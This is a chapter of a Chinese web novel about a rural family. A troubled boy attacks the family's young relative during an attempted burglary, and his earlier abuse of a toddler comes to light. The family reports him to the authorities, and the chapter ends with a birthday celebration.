都说半大小子吃垮老子,赵平为了节省口粮攒下银子,干脆把赵二宝和赵三财又送给赵凡。 赵凡压根就不认,关门不见人。 赵平吃了闭门羹,嘴上骂骂咧咧,也没带人回去,自己走了。 兄弟两无处可去,肚子饿的不行,只好来了小柳村,投奔他们娘亲。 方秀霞在家里日子也不好过,大哥二哥粮铺的活丢了,只能去做苦力赚钱。 两个嫂子看她鼻子不是鼻子,眼不是眼的。 现在又要带两个儿子。 今时不同往日,兄弟两在方家饭都不敢多吃一口。 筷子多动一下,方大嫂和方二嫂一个咳嗽,一个撂筷子。 赵二宝受赵平的影响,也认为发酵方子这件事是凌星故意坑他们家。 他总是会看向山脚的方向发呆。 楚天赐不知道兄弟两经历了什么,但他能感觉到赵二宝对他的态度殷勤不少。 “你为什么来找你娘?还有你怎么一副乞丐模样?” 楚天赐回:“我爹不要我了,我流浪过来的。” 赵二宝和赵三财眸光一闪,眼中多了几分同病相怜。 不过他们比楚天赐幸运一点,好歹娘还能庇护他们一二,不让他们饿死。 楚天赐就没那么幸运了,他娘已经成了别人家的媳妇,肯定养不了他,给不了他饭吃。 “我和弟弟的情况跟你也差不多。”赵二宝拍拍楚天赐的肩膀,把他们身上发生的事,大概给楚天赐讲了一下。 听完后,楚天赐眼珠子一转,再落到兄弟两身上时,脸上带着坏心眼的笑。 “你们想不想要银子?” 赵二宝兄弟两对视一眼,银子谁不想要啊。 楚天赐晚上住在一个小山洞里面,赵二宝从方家弄了些吃的出来给他当晚饭。 “我打听过了,每天早上沈二叔都不在家。沈家大人上午只有你娘和徐阿奶在。” “你要怎么把小春和小夏骗出来?” 下午的时候,楚天赐已经从赵二宝口中知道,他娘后面没生孩子,那个年纪小点的叫凌月,是沈家寡夫凌星的亲弟弟。 同赵二宝之前也有些渊源。 楚天赐并不在意凌月和赵家之前的事,只要知道不是他娘的新儿子就可以。 这样一来,他娘的孩子还是只有三个。 前面他娘怎么也不要他,那是因为她还有两个孩子,只要小春小夏消失,他就是唯一的孩子。 到时候他娘怎么可能还不要他? “找年纪小的孩子,趁着小春小夏在外玩,把他们叫出去说一起玩就行。” 以前在楚家的时候,这两个就很想和村子里同龄的孩子们玩。 不过每次都会被他按在家里,不让他们出去。 有同龄人找他们一起玩,他们肯定抵挡不住。 “行,到时候你把他们拖住,我去沈家说孩子丢了。把大人骗出去找,三财就躲在他家院子里,人出去后再进屋偷东西。” 外人或许不知道沈家多有钱,但赵二宝和赵三财知道。 他们在赵平那的头两天,可没少听赵平吹牛,说包子馒头多赚钱。让他们喊爹,还说后面他的钱都是他们的。 虽然后面因为出了不少竞争对手,生意不行了。 但不妨碍赵二宝和赵三财知道这门生意赚钱。 赵平就干了几天都有一笔小积蓄,沈家人前面干那么久,得多有钱? 后面包子馒头不能卖,但却依旧卖其他的东西赚钱,声名都传到了麻油街。 要不是赵平害怕沈家背后的官老爷,早就去找麻烦了。 而不是只能在家里骂。 沈家有钱。 赵二宝和赵三财很肯定。 在听楚天赐说了计划后,二人没怎么犹豫就答应了。 银子偷了直接藏山里面,沈家住在山脚下也没邻里,谁有证据是他们偷的? 他们并不知道楚天赐真正想做的,是要小春和小夏死。 还在幻想着有很多银子,此后吃穿不愁,不用再看人脸色。 三人又重复一遍计划,就等着明天行动。 天还没亮,沈家就亮起油灯。 徐有芳早早起来做饭,给沈回还有凌星吃了好出去摆摊。 现在家里有些积蓄,也不用凌星再额外给沈回开小灶。 早上做饭徐有芳就会做多些,让沈回能吃饱。 天又稍微亮一些,沈归和曹满月去灶屋吃饭,然后动身去楚家村。 沈家二老带着四个孩子吃完饭后,就收拾东西上山去。 凌月昨天路走多了,腿到下午的时候都还不舒服。沈回替凌星跑了一趟,去小溪村给凌月请假。 又顺路找隔壁村子的孙大夫来看,对方说没什么大问题,好好休养两日就可。 凌星这才放心。 家里就剩下四个孩子,沈家二老临走前千叮咛万嘱咐,谁来敲门都别开门。 等着沈回和凌星回家就可以。 沈来是最大的,一叠声的应下,保证会保护好小春小夏还有凌月。 徐有芳也赶时间,想快去快回,没再多耽误。 小柳村的村民们吃完早饭,开始往地里干活。 赵二宝用指甲盖大小的麦芽糖块,哄村子里一个六岁的小哥儿来沈家喊小春小夏去玩。 平时的话,小春小夏被人喊去玩,会很高兴。 感觉自己被放在心里记着了。 但今天二人只对着院门口摇头,趴在门后道:“我们要在家里不能出去的,明天再找你玩吧。” 喊了两遍都没把人喊出去,那小哥儿也没办法。他把糖直接塞嘴里吃,怕继续留着的话,因自己没完成任务,赵二宝再把糖拿走。 麦芽糖块很小,很快就在嘴里化差不多。 小哥儿看到赵二宝和赵三财,咂巴一下嘴里的甜,“小春小夏说家里没大人,不出来和我玩。糖我吃了,你不能要回去。” 赵二宝正要气没把人叫出来,听到后面又乐了。 没大人在家好啊! 那偷东西岂不是更方便了。 “沈家家里没大人,凌月每天要上学,今天沈家就小春小夏还有沈来在家。三财,天赐,你们在前面引着他们讲话,我偷溜进去。” 楚天赐其实不愿意,要是被知道他偷沈家银子,他娘就更不会要他了。 可又不敢违抗赵二宝的话,对方比他高,力气也比他大很多。 小春小夏没上当出来,楚天赐不好实施计划,带他们去山里丢了,心里有些烦闷。 楚天赐不想被沈家人知道他偷东西,和小春小夏碰上的话,家里再丢东西,肯定一下子就怀疑到他头上,知道是一伙的。 他编了个借口,“不然我去偷,你们吸引他们注意。我知道东西在哪。” 赵二宝挺相信楚天赐的,毕竟他亲娘就在沈家,肯定比他知道的多。 “行,你快点去。” 楚天赐翻进沈家的篱笆院藏着,赵二宝兄弟两在外头使劲拍门。 “沈来!沈小春!沈小夏!你们出来!” 外面的门拍的啪啪响,小春和小夏有些害怕。 沈来听声音有些熟悉,想半天终于想起来,是赵二宝。 他翻了个白眼,屁股动都不动,坐在席子上和小春小夏他们玩翻花绳。 凌月被吵的看不进书,放下书准备出去看看怎么回事。 沈来余光撇见凌月动作,连忙放下翻花绳。 他可是拍着胸口保证今天会保护好小春小夏,还有凌月的。 “阿月你腿不好快坐下,我出去看看。” 外面的人喊的凶,凌月不太放心沈来一个人去,“我和你一起去。” 沈来不同意,“哥夫说了你要好好休息,我带小春小夏去,正好他也喊了小春小夏。你在屋里继续看书吧,我很快解决,不叫他影响你。” “好吧,那小五哥你快点回来。” 凌月知道自己腿不好,要好好休息,不敢多动。不然他哥哥的钱都白花了。 沈来带着小春小夏出去开门,果然是赵二宝和赵三财兄弟两。 “你两有病啊!大早上的来找茬,是不是讨打!” 说着沈来就把院门后的扫帚拿起来,随时准备往赵二宝两人身上招呼。 赵二宝看到楚天赐溜进屋里,叉着腰看向对他怒目而视的沈来,鼻子里哼了一声。 “你这样凶悍的哥儿,这辈子都没人要。” 沈来气的抬手就打。 他在家里好好呆着,这人发疯敲门,还骂他! 这不是找抽吗! 楚天赐知道东头房是村户人家的主屋,好东西都放在这里面。 他进堂屋后,毫不犹豫的右转,掀开门帘要进屋。 结果就和凌月对视上。 楚天赐愣了一下,怎么屋里还有人! 不是说这小子每天都出去念书吗! 凌月认出楚天赐,也是一惊。 他听到外面沈来还在吵架,混合着小春小夏帮着他的应和声。 一下子就想到,楚天赐进来,沈来三人是没看见不知道的。 又见楚天赐鬼鬼祟祟的模样,十有八九是来偷东西。 凌月出声要喊,被楚天赐更快一步,直接推倒在地。 楚天赐骑在凌月身上,双手死死的掐着他的脖子,“不准出声!” 空气快速的消失,凌月脸色涨红,手握着楚天赐的手腕往外拽,对方纹丝未动。 缺氧之下,凌月头晕目眩,身体快要没力气。 恍惚间,凌月看到小书桌上面铺着的布,有一部分垂了下来。 桌子底下放着一个小盆,里面有块不大不小的冰。 为了让凌月好好读书,不会中暑气,凌星专门在里面另外放的。多出来的布就是为了遮挡一下冰盆的凉气,不会消散太快。 不然桌布这些,都是按着尺寸精打细算的来,谁家也不会留出这么多。 凌月伸出手,拼命的去拽垂下来的布。 哗啦啦—— 摆在书桌上的笔墨纸砚随着桌布被扯,尽数落下。 楚天赐被这个声音吓一跳,松神间,凌月准备挣脱他的手。 这个举动让楚天赐心里更加的慌张,怕被凌月跑了,他会被很危险。 混乱间,楚天赐摸到一个硬硬的东西,还有些湿润。 他没多想,只想让凌月安静躺着,举起就砸。 咚的一声响,凌月躺在地上一动不动。 楚天赐看到凌月额头上的血,吓得魂没了大半,手像是被火烙烫了一样,匆忙丢下随手抓住的砚台。 那砚台上,沾着凌月的血。 都怪这个人不老实,非要动。不然他也不会失误砸人。 楚天赐一边想,一边惊慌起身,期间腿还软了一下差点没能起来。 外头沈来听见屋里传来噼里啪啦的声音,以为凌月没站稳摔到了,也不顾赵二宝兄弟两还在骂他,带着小春小夏就往屋里跑。 刚跑到堂屋门口,里面就冲出来一个小胖子,直接把他撞倒在地。 屋里怎么会出现其他人! 沈来直觉出事,赶紧进去查看。 见到凌月半张脸都是血的倒在地上,身边散落一地的东西,吓的脸色苍白,心跳仿佛都静止了一瞬。 “阿月!阿月醒醒!” 沈来手足无措,还是下意识的扯了桌布,替凌月按着脑袋,阻止血继续流。 小春小夏看到这一幕也吓的脸都白了,好在小春有经验,她很快缓过神。 “小五叔,要给小叔叔请大夫。” 沈来连连点头,对,是要请大夫。 这里到隔壁村有一段距离,一趟来回耽误不少时间。 沈来直接背起凌月,对小春小夏道:“你们不要在家里,快去王夫郎家里躲躲。” 家里不安全,钱财没有命重要。 小春小夏听话点头,跟着沈来一起出门。 外面赵二宝和赵三财还没走,他们前面看到楚天赐慌里慌张的跑还有些奇怪,这会看到沈来背着不知死活的凌月出来时,吓得直接坐在地上。 杀、杀人了! 兄弟两紧张又害怕的吞咽着口水,连滚带爬的跑开,生怕和人命沾上关系。 沈来从小就皮,上树下河什么都难不倒他。 瘦归瘦,但有一把子力气,身子骨也结实。 凌月身体养了一阵子,长了些肉。但他依旧瘦的很,沈来背着并不觉得吃力。 赶着去看大夫,沈来是跑着去的。 谢青崖看到在他家门口,后知后觉吓哭了的小春小夏,问出原因后,豆腐也不卖了,让王隽看孩子他自己追沈来。 不得不说沈来腿脚真的快,谢青崖追到人的时候,已经到邻村村口了。 他挥着手喊,“小五!沈小五!” 沈来像是没听见,腿脚不停的往孙大夫家跑去。 喉间的腥甜气越来越重,嗓子就像是被刀割了一样,胸闷气短无法呼吸。 眼前时不时的发昏,沈来咬着牙,逼着自己清醒。 不能停,一定要把凌月送到孙大夫家。 孙大夫正在院子里晒草药,只听咚的一声,抬头一看发现门口叠趴着两个孩子。 他赶紧上前查看,“呦,这怎么伤的!” 把趴在沈来身上的凌月抱起来,八岁的学徒也很有眼力见的及时拉起脸着地的沈来。 “师父,他流鼻血了。” 孙大夫抱着凌月,扫一眼沾了满脸灰的沈来。 “他没什么事,鼻血是刚刚摔的,弄清水给他洗干净就行。” 说罢便抱着凌月匆匆进屋,这个才是要命。 年纪越小的孩子,脑袋越脆弱。 眼下伤这么重,不及时救治,命都能没。 孙大夫医术也不是多厉害,但有一套独门针法,是他真正安身立命的本事。 几针下去,昏迷不醒,呼吸微弱的凌月胸口起伏终于变大。 孙大夫见状松一口气,还好,有的救。 院子里,谢青崖被学徒拦住,“师父在里面治人,不出声喊人是不可以进去打扰的。” 怕谢青崖非要进去,学徒干脆把清洗沈来的活交给谢青崖。 “你是他们的大人吧?正好你给他把脸洗干净,我要去继续弄药草。” 凌月的情况估摸着这小学徒也不清楚,谢青崖低头给沈来擦脸时,便只问沈来的情况。 “他怎么了?” 小学徒手里拿着草药摆弄,听到人问他,觉得自己像个真正的大夫,心里还挺高兴。 关键是他还真知道。 稍微挺起腰杆后道:“太累脱力了,晕一会就行。你有钱的话,也可以买些红糖冲水给他灌下去,醒的快。” 谢青崖道:“你这有卖的吗?” 小学徒点头,“红糖水两文钱一碗。” “来一碗。” 接过两文钱,小学徒去忙活起来,没一会就弄出一碗温度适中的红糖水。 沈来晕着,喂起来挺费劲的。一碗红糖水喝完,时间已经过去好久。 给沈来喂完一碗红糖水后,孙大夫也出来了。 谢青崖从小春小夏那知道凌月伤的不轻,半张脸都是血。 具体怎么伤的不知道。 凌月是凌星唯一的弟弟,谢青崖也担心的很。 “大夫,里面那孩子怎么样了?” 孙大夫看一眼闭着眼睛砸吧嘴的沈来。 “还好送来的及时,人没什么问题,过一阵子就能醒。不过他伤的是脑袋,醒来后会有什么情况还不确定,要多观察,及时救治。” 谢青崖点头,又从怀里掏出一串铜钱,一共五十文。 “这些大夫先拿好,两个孩子劳烦你照顾着,我回趟村子等他家大人。” 眼看着日头差不多是凌星他们回来的时候,谢青崖没想去镇上找,怕走岔路,和凌星正好岔开碰不上。 凌星和沈回每次走的都是山路,不过村口,谢青崖只能在沈家等他们。 等了大半个时辰,终于等回人。 看到谢青崖神色凝重坐在院子里,凌星心突然慌了一下。 “星哥儿,出事了。” 凌星和沈回赶到邻村孙大夫家,小春小夏只能暂时托谢青崖照顾。 二人到孙大夫家的时候,沈来和凌月都醒了。 正如孙大夫所言,幸好人送来的及时,凌月没有什么大问题。 就是会有些想吐的感觉,头也隐隐作痛。 孙大夫说要扎几天的针,不会有大碍,凌星悬着的心才放下。 凌月精气神不足,说两句话就想睡觉。 孙大夫家的这间屋子,是专门给来的病人伤患休息的。不过夜不收钱,过夜一晚上十文。 凌星让凌月先睡一会,他出去看看沈来。 孩子为了救凌月,人都跑脱力了,这会腿还在不受控制的打摆子。 平时沈来最怕沈回,此时的他坐在院子的阴凉地,却紧紧贴着沈回,寻找安全感。 他很怕凌月死了。 凌星出来后,沈来微不可查的僵硬了一下。 紧贴着他的沈回感觉到,难得的伸手拍一下沈来后背,以作安抚。 “小五,好孩子,没事吧?” 凌星小跑过来,蹲下身检查沈来身上有没有别的伤。 关切的询问,温柔的抚摸,让沈来眼眶一红。 他声音嘶哑又颤抖,带着明显的哭腔。 “哥夫,是我不好,我没有照顾好阿月。我被人叫出去,让坏人打伤了阿月。” 凌星的温热的手掌轻轻按在沈来还在颤抖的腿上,他摇头,“不是小五的错,哥夫谢谢你那么及时的送阿月过来,真的很谢谢。” 沈来的眼泪刷的一下流下来,抱着凌星嗷嗷的哭。 他太害怕了。 怕凌月死了,也怕凌星怪他,不再喜欢他。 “哥夫呜呜呜嗷呜呜呜——” 精神一直紧绷着的沈来,在大哭一场后,也睡了过去。 沈回从凌星怀里接过他,把人抱进屋里,放在小木床的另一头睡。 二人进屋坐下,守着两个孩子。 下午,徐有芳和沈呈山一脸喜气的下山。 看到谢青崖夫夫二人在家里带着小春小夏,先是愣了一下,随后脸上笑意消散,猜到是出事了。 从谢青崖那知道凌月的事,二老眉头紧皱。 小春小夏缓过了神,看到爷爷奶奶回来,终于不再害怕,缩在爷爷奶奶的怀里,说打伤凌月跑出去的人他们认识。 是楚天赐。 两个孩子对楚天赐记忆深刻,对方跑的再快,脸被头发遮住的再多,也不会认错。 沈家二老听闻是楚天赐,心往下沉了又沉。 凌月是大儿夫郎仅有的亲人,楚天赐是四儿媳妇唯一的儿子。 虽说知道曹满月不喜楚天赐,一直说不认这个儿子。 但那是她十月怀胎辛苦生下的,怎么可能真的不在意呢。 凌星的性子他们也清楚,是个好性子,人也细心体贴,对谁都是笑眯眯的。 前提是不踩他的底线。 而他的底线,就是亲人。 沈家二老抱着小春和小夏,愁的很。 日子好不容易过起来,这都叫什么事啊。 傍晚时,凌星一行人和沈归夫妇是前后脚到家的。 凌星他们先回来。 屋里徐有芳已经收拾好,凌月被沈回直接背进屋里躺着。 沈归夫妇二人回来时,脸色也不好看。 到家后发现气氛不对劲,沈归一开始还以为是他三姐出了什么事。 “爹娘你们怎么闷闷不乐的?是三姐和她孩子怎么了嘛?” 沈呈山没看傻儿子,而是看向曹满月。 这让有些魂不守舍的曹满月更加心慌,“爹,出啥事了?” 她被那一眼看的头皮发麻,心里知道家里不仅是出事了,这事还和她有关。 “楚天赐趁着家里没人,偷溜进来企图行窃,不想撞到了阿月——” 沈呈山说到这里的时候,曹满月已经两眼一黑,要晕不晕的。 “他掐了阿月脖子,又用砚台把阿月脑袋砸破了。大夫说再晚一点,人可能都救不回来。” 说罢,曹满月倒吸一口凉气,看向坐在一边,一言未发的凌星。 对方感受到她的视线,抬眼看来,没什么情绪的一眼,让曹满月心都提了起来。 大哥夫平时逢人三分笑,家里除了小五就属大哥夫最活泼开朗。 这样一个爱笑的人,面无表情的淡淡一眼,足够让她心慌无措。 沈家人都沉默着,看向曹满月。 就连沈归,也静静的看着,等待曹满月的决定。 曹满月顶着视线,感觉自己像是被烈日照射,头皮似乎阵阵的疼,浑身不自在想躲开。 她抠着木凳子,想到在楚家打听来的那些,闭上眼睛,声音发颤。 “他不是我儿子,咱们该怎么做就怎么做。” 沈家人有些意外曹满月的选择。 凌月伤成那样,公事公办的话,楚天赐怕是不会好过。 到底是亲生儿子,沈家二老也做好了曹满月替楚天赐求情的心理准备。 凌星也做好了曹满月求情,他不想家里为难,准备分出去单过,不管怎样一定要让楚天赐为他行为付出代价的准备。 户籍的事托林县令出主意想办法。 但都没想到曹满月会是完全站在凌星这边。 沈回能猜到凌星会怎么做,所有人里他是最紧张的那个。 听到曹满月的话后,才不动声色的松一口气。 徐有芳是当娘的,知道一个母亲对孩子的疼爱不舍。 她是第一个发现曹满月不对劲的。 “满月啊,楚家那边是不是有什么情况?” 不问还好,这一问,曹满月脸色刷一下就白了。 她哆嗦着嘴唇点头。 沈归疑惑的看过来,他也一起去的怎么没听到什么? 此事,沈归并不知道。 二人到楚家村的时候都快晌午了,在村口吃了带的饼子,里面夹着咸菜,味道还不错。 就着竹筒里的水饱餐一顿,这才进楚家村打探。 他们没直接去找楚老太一家,曹满月蒙着脸,说自己感染风寒,由沈归这个生面孔旁敲侧击的打探楚天赐到底什么情况。 结果村民们也说不上来原因,就晓得楚有田有一天突然发火,把楚天赐赶出家门了。 其他一概不知。 楚老太本是个嘴上没把门的,对此事也是缄口不语,谁问都不说。 大家又劝他们去找孩子,那可是个儿子,怎么能说不要就不要呢? 少一个儿子,那以后楚有田老了,日子的保障就少一分啊。 可不仅楚有田没动,就连最爱楚天赐的楚老太,都一点反应也没有。 还说谁再让他们找楚天赐,就和谁家老死不相往来。 这话说的就太狠了,大家一时间面上难看,都觉得楚老太是把人好心当做驴肝肺,也不再劝这事。 反正又不是他们儿子跑了。 曹满月听着更觉得此事怪异,以她对楚老太的了解,对方简直就是把楚天赐当眼珠子一样疼爱,怎么会是这个反应呢? 村民那打听不出什么,只好去楚家。 楚有田在家,看到曹满月和沈归还愣了一下。 随后满脸不虞要赶人。 沈归护着曹满月,没让她被楚有田打到,“你以为谁想来!你儿子跑到了小柳村,你快和我们回去把人带回来。” 不说楚天赐还好,一说楚天赐楚有田下手更狠,啪的一声直接关门。 怕被人围观,沈归二人也不好一直在门口,只能先离开再想办法。 快到村口的时候,有个人从后面追上来,“是大嫂吗?” 黄三妮喊惯了大嫂,一时间也没改口。 “是三妮啊。”曹满月回头看着人,“叫我满月姐就行。” 黄三妮也看到边上的沈归,她之前没见过曹满月二嫁的人,乍见沈归心中还有些惊讶于其英俊的外形。 没想到前大嫂二嫁的这样好。 比大哥强不知多少倍。 她追出来是有事要说,很快就收了视线问曹满月,“满月姐,我有话对你说,能去别处吗?” 这事是关于楚天赐的,到底是曹满月亲生的儿子,叫旁人晓得了,也不太好。 得避开点人说。 尤其要避开曹满月的现任丈夫。 曹满月猜到可能和楚天赐有关,不知道为什么要偷偷说,但她还是选择听了黄三妮的。 “相公,我去去就回,你在阴凉地方等我。” 曹满月没走太远,保证距离不让沈归听到说什么就够。 黄三妮深吸一口气。 “满月姐,我在屋里听到点,楚天赐找你了?” “嗯,昨天去镇上,突然遇到了。”曹满月追问:“他怎么会一身脏兮兮的在镇上?” 黄三妮脸色不太好看,还有点害怕的样子。 “这事家里是不让说的,可我怕自己不说,后面会睡不着觉。” 以前她因为嫉妒心,也害曹满月吃不少的苦。地里那么多活,都叫她一人干。 曹满月走后,她成了楚家的“曹满月”,经历后才知道,那有多累多苦。 正因如此,她才追出来。 “楚天赐被赶走,是因为他差点杀了宝庆。” 楚宝庆是楚有田后来娶的妻子秦彩云生的,今年不过两岁大。 嫁到楚家的时候,秦彩云肚子已经大了。 她又有个恶霸哥哥护着,成婚那天还带了一帮子兄弟来家里示威,给秦彩云撑腰。 楚家一家子欺软怕硬,把秦彩云当祖宗一样供着。 除了楚天赐。 刚开始的时候,楚天赐处处挑衅秦彩云,经常偷她屋里吃的。 用的那些他用不上,就直接毁掉,也不让秦彩云用。 她大着肚子怕不小心伤到孩子,也不敢大幅度动作去教训楚天赐。 便和楚家人说,要是他们不管好楚天赐,就让他哥来管管楚家。 楚家人一听那哪行啊,于是开始教训起楚天赐。 起初楚天赐挨打还闹腾,后来发现闹腾只会换来更严重的打后,他就没再闹腾过。 也变得很有眼力见,会察言观色。 他挨的打越来越少了。 但秦彩云发现,她屋里的东西也越来越少。 家贼难防,秦彩云知道是楚天赐偷的,可她又没证据。 有天她躲起来准备抓个正形。 听着有脚步声慢慢靠近,秦彩云打起精神,正要掀开帘子抓人,谁知道肚子就被狠狠一撞。 要不是她哥把大夫拽到楚家,孩子差点没保住。 秦彩云迷糊间,似乎看见了楚天赐在盯着她笑。 醒来后,秦彩云再没有搭理过楚天赐。 屋里东西少了也当不知道,她要自己的孩子平安。 在提心吊胆中,秦彩云终于生下了个儿子,名字是她哥起的,叫宝庆。 楚家人不敢有异议。 楚宝庆不闹人,很乖巧。 谁逗他都咯咯笑,就连不怎么在意孩子的楚有田都喜欢的不行。 秦彩云哥哥更是对外甥宠爱非常,隔三差五送一堆好东西来楚家。 楚宝庆用不了的,楚老太就收起来藏着。 她的“小金库”越来越满,连带着更喜欢楚宝庆了。 然后楚宝庆短短两年时间,就从爱笑的乖孩子,变得胆小爱哭,稍微有点风吹草动就哭嚎不止。 楚家人一直以为楚宝庆是被脏东西勾了魂才这样,秦彩云的哥哥也为此请过不少神婆道士来查看,结果都没什么用。 直到有天,楚有田和秦彩云夫妻二人看到楚天赐把两岁大的孩子,头按在水里。 后来秦彩云哥哥来了,还带了大夫来给楚宝庆看身体。 这才发现孩子表面好好的,没什么伤痕,可他身体里竟然有针! 是谁干的不言而喻。 楚天赐知道自己藏不住,偷了家里的银子,直接跑了。 秦彩云的大哥放话,再在楚家看到楚天赐,就叫楚家人好看。 楚家人看到楚宝庆身体里取出来的五根针,也吓的半死。 楚天赐才十岁,就敢对两岁大的孩子下这样的狠手,谁知道他长大后会不会杀爹,杀爷奶啊。 而且,那第一根针都不知道是什么时候弄进去的,可能在更小的时候。 这样的恶毒心肠,就算是楚老太和楚有田,都怕的很。 一家人没有人提去找楚天赐,跑了也好,全当没这个人。 黄三妮把事情说清楚,提醒道:“满月姐,楚天赐他年纪虽然小,可心性早已经歪的不能再歪。为了让家里人多关注他,他就敢杀宝庆。难免不会为了你的在意,去杀小春小夏。他既然出现在你身边,你要是舍不得赶他走,也尽量的要注意保护小春小夏。” 话说完后,黄三妮没多留,转身离开。 曹满月待在原地,唇色发白,整个人都在发抖。 她想起了前面被楚天赐故意推倒,流掉的孩子。 那时候楚天赐才多大呢? 曹满月把黄三妮说的那些,都和沈家人说了。 沈归听完搓了搓手臂,这大夏天的,他硬是觉得冷。 怪不得他媳妇一路上都不对劲,原来是这样。 凌星也没想到楚天赐会是这样,没人能想到。 这哪是孩子,这分明是魔鬼啊。 “他现在不知道跑哪里去了,只能报官让衙门张贴告示,把人抓出来。”凌星道。 沈家人也是这个意思,在人没抓到之前,家里不能没大人,不然孩子们很危险。 沈呈山在安排家里留人注意护着孩子一事,沈来坐在凳子上,静静的听着。 看看可能被楚天赐盯上的小春小夏,又想到受伤差点死了的凌月。 他知道自己要做什么了。 他想学武,能保护家人。 还想学医,能救家人。 第二天一早凌星和沈回就去了县衙,把这事给报官了。 林清渝知道凌星来,特意出来。 “你来的巧,正好书到了,小吏去查案顺便送你家去。” 京城林家送来的书,足足两大箱。 书送到沈家后,小吏们分散开在村子里找人。 查到方家的时候发现赵二宝和赵三财的反应不对劲,他们查案多年,知道这两人肯定有问题,直接带走。 方秀霞的哭嚎声震天响,也没能留下两个儿子。 小吏把村子翻了个遍,周围村子也查了,都没找到楚天赐,他就像是消失了一样。 看向身后的大山,小吏们判断估计是跑山里去了。 只能进山找。 还真在一处泥洼看到新的脚印,看起来是孩子的。 不过再往里面就是深山,里面野兽众多,大人进去都活不成别说孩子。 危险太大,小吏们只能退出,把事情和沈家说清楚。 知道楚天赐慌乱间跑进深山,这是九死一生的事,只能听天由命。 衙门关于楚天赐的通缉没有撤,除非确定他死亡或者归案才会撤销。 楚天赐没抓到,沈家人和凌星终归不放心。 沈呈山琢磨着养一条大狗,能威慑住人的那种。 这样一来要是楚天赐再出现,狗能及时示警,普通的毛贼也会不敢来家里偷东西。 沈回想到许七有门路,正好之前他要的药粉做好,顺便给他送去。 没几天沈家就多了一只小狗。 这狗下巴到胸腹以及四爪和尾巴背面是白毛,其他都是黑毛。 因着还小,小眼睛圆溜溜的盯着人看,可爱的不行。 沈呈山一边伸手摸小狗的脑袋,一边质疑,“这小不点看着呆呆的,会不会被毛贼震慑住,起不到震慑毛贼的作用?” 沈回把软乎乎的小狗放在备好的狗窝里面,“它的爹娘都是训练过的猎犬,很聪明也很敏锐,我挑了一窝里觉得最好的一只,后面我会负责训练它。” 有了沈回的话,家里人放心不少。 小狗起名叫乌雪,按着颜色去起的。 家里孩子都很喜欢它,乌雪也很喜欢摇晃着小尾巴,跟在孩子们身后跑跑跳跳。 因为有乌雪的加入,家里之前因楚天赐产生的沉闷感也消退许多。 日子又回到正轨。 凌星也得空打开林县令给的书箱,发现里面除了书以外,还备了四套笔墨砚台,好纸也有不少。 他把纸同样分成四份,给沈回,王隽各一份。 另外两份留下给凌月用。 家里出事,谢青崖也一直帮着跑来跑去的,跟着担心。 他没别的能送。 正好王隽也是个文人这些能用到。谢青崖爱吃,后面就做些吃的另外给谢青崖送。 送来的书凌星让沈回和凌月一起看,他也不太了解哪些现阶段就能用,便把书箱子放靠近门口的地方,平时东头房帘子都掀起来,方便沈回拿书。 赵二宝和赵三财查出来协助盗窃,虽然未遂但也被关了二十天,一人罚十两银子。 不交银子就要去修两年的路。 方家大嫂和二嫂以死相逼,不准方家二老掏这个钱。 那可是二十两银子,够一家子安稳过三年了。 更何况方家和,方家兴兄弟两现在没有粮铺的高月钱,每个月累死累活加起来都没一两银子。 怎么可能同意拿血汗钱去救那两个讨债鬼。 他们自家还有孩子要养呢。 方家二老到底是要靠儿子儿媳养老送终,他们棺材本都掏空,才能凑出二十两银子。 那些银子,老两口不可能为了这事动用的。 毕竟去修路又不是去砍头。 修两年就能回来。 这些年,也没听说谁修路死在外面。 方秀霞更掏不出钱,她手里只有十八两。 是她后面的依靠,轻易不会动用。 至于再凑二两银子赎人出来,方秀霞更是没想过。 最后赵二宝和赵三财坐完二十天牢,直接被拉去修路。 方秀霞哭着抹眼泪。 她心里怪凌星,屁大点事也要报官,害她两个儿子受这样的苦。 但她又害怕沈回,不敢找茬,只敢心里骂两句。 七月十九是凌星的生日。 也是原身的生日。 这天家里做了一顿丰盛的菜,六菜一汤,蒸的白米饭,还请了王隽和谢青崖来。 沈家人见上次凌星给沈来送了生辰礼,孩子高兴的什么似的,也特意为凌星准备了。 想让凌星高兴。 沈呈山和徐有芳送的一份,一套崭新的衣服。布是沈呈山掏钱,衣服和上面的绣花,是徐有芳做的。 那衣服料子很不错,穿在身上透气凉快,云纹绣花添了些贵气。 曹满月和沈归送的一份,是一条精致的发带,尾端嵌着薄薄的银片做装饰。 沈回掏出一根银簪子,凌星接过的时候,感觉簪子有些湿润。 他顺手掏出帕子递给沈回,“擦擦手。” 因为紧张,沈回掌心冒汗,湿了银簪。他握紧干燥的帕子,悄悄的将其一点一点,尽数攥入掌心。 凌月四个孩子也准备了礼物,他们早早凑一起商量,给凌星纯手工做了一把扇子。 沈来负责劈竹片,再带着小春和小夏打磨,凌月弄纸,以及在纸上作画。 以前在家学时,凌月学过些画画的技法。 扇面上是一片水墨星空。 星河部分需要留白,凌月画了好久,还请教了王隽,练习了一个月才画出来满意的。 凌星很喜欢这个礼物,漂亮的都移不开眼睛,挨个抱了一遍四个孩子笑道:“你们超级厉害!” 谢青崖和王隽送了凌星滴滴金。 “这烟花点燃后像星光闪烁,滴滴如金,往下垂落,我收藏了许久舍不得放,就送你啦星哥儿。” 凌星打开看,外形是个细长条,有半匣子。 小县城里面基本上买不着这样的烟花,哪怕是原身记忆,都没有滴滴金,想来是比较难得的。 又或是因为地域原因,原身的故乡没有这个。 毕竟大禹刚安定不久,做这些的原料,都紧着军队用。 按着如今发展,想来过两年就能完全放宽,大街小巷都可见烟火了。 吃完晚饭,天上星河闪烁,孩子们没有玩过滴滴金,好奇的很。 凌星也好奇,他不敢用火,便拉着沈回点了一个。 谢青崖跟孩子们都蹲在凌星边上,一脸期待的等着。 沈回手里捏着烧红冒火的木头,在众人期盼的注视下,点燃凌星手里的那根颤颤巍巍的滴滴金。 怕被烧到手,凌星捏着最末端。 整根烟花棒都往下垂,沈回轻笑一声,没叫凌星往上抬,知道他害怕。 呲啦—— 滴滴金被点燃的瞬间,像是星光四射,闪烁着金色的耀眼夺目的光,火花一点一滴往下落,连绵不断。 凌星脸上带着惊喜笑,“真漂亮啊,怪不得叫滴滴金。” 孩子们也被这美景震撼,觉得漂亮的不可思议,拍着手欢呼。 乌雪兴奋的绕着滴滴金周围转圈跑,尾巴摇出了残影。 凌星感觉这个还挺安全的,正好还剩下的数量够他们所有人一人一个,干脆分了,让大家一起玩。 凌星加上之前燃烧的一根,他能玩两根。 想到这里,心里一片满足。 孩子们都要高兴疯了,沈来胆子大,滴滴金点燃后,竟然拿着他跑起来。 乌雪追着他一起,时不时的呜汪一声,欢快的不行。 